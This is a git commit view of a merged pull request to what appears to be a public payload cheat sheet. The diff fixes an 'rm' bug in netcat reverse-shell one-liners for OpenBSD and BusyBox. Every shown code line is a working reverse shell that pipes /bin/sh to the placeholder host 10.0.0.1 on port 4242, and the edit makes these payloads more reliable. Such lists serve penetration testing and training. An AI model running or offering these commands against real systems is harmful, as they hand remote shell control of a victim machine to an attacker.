Merge pull request #479 from netcode/fix-reverseshell-rm-bug

Fix rm bug in netcat reverseshell on OpenBSD & BusyBox
This commit is contained in:
Swissky 2022-01-29 21:04:19 +01:00 committed by GitHub
commit 66af5b4337
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -208,13 +208,13 @@ nc -c bash 10.0.0.1 4242
### Netcat OpenBsd ### Netcat OpenBsd
```bash ```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
``` ```
### Netcat BusyBox ### Netcat BusyBox
```bash ```bash
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
``` ```
### Ncat ### Ncat